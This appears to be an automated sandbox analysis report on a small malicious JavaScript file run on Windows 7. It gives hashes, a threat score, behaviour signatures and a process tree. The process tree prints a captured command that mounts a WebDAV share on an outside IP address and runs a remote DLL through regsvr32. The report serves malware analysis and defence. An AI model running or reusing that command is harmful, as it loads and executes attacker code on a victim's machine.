Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    21-07-2024 17:45

General

  • Target

    3970163678517367.js

  • Size

    4KB

  • MD5

    bc1c185c53de65a61ad3413cb39017d5

  • SHA1

    c3ed401d7ee55eda7da41fcf024c096432dec356

  • SHA256

    7defa6c1e9a4243af7ab11d88635d660f7543359d596593fa4473ccae9aacc30

  • SHA512

    a3e426025d81e86a425463cfb6b6660bf3d0c48c85b34224b706b54244a2d8ab078ff9d48c0a2dbc9484bcced75b2c334399ea24afc3c4ae353724d225b768e4

  • SSDEEP

    96:z/79dw3mMj0Zwzr1aCpnRiHmR1ad1aX0myYSlc+1WP1aX0myn1aZTmCDS1aRJzCv:zj9dVLaVLDemZNSC9mZs/CggCnAkvUH8

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3970163678517367.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2852
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\6254308077500.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2912
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2236

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads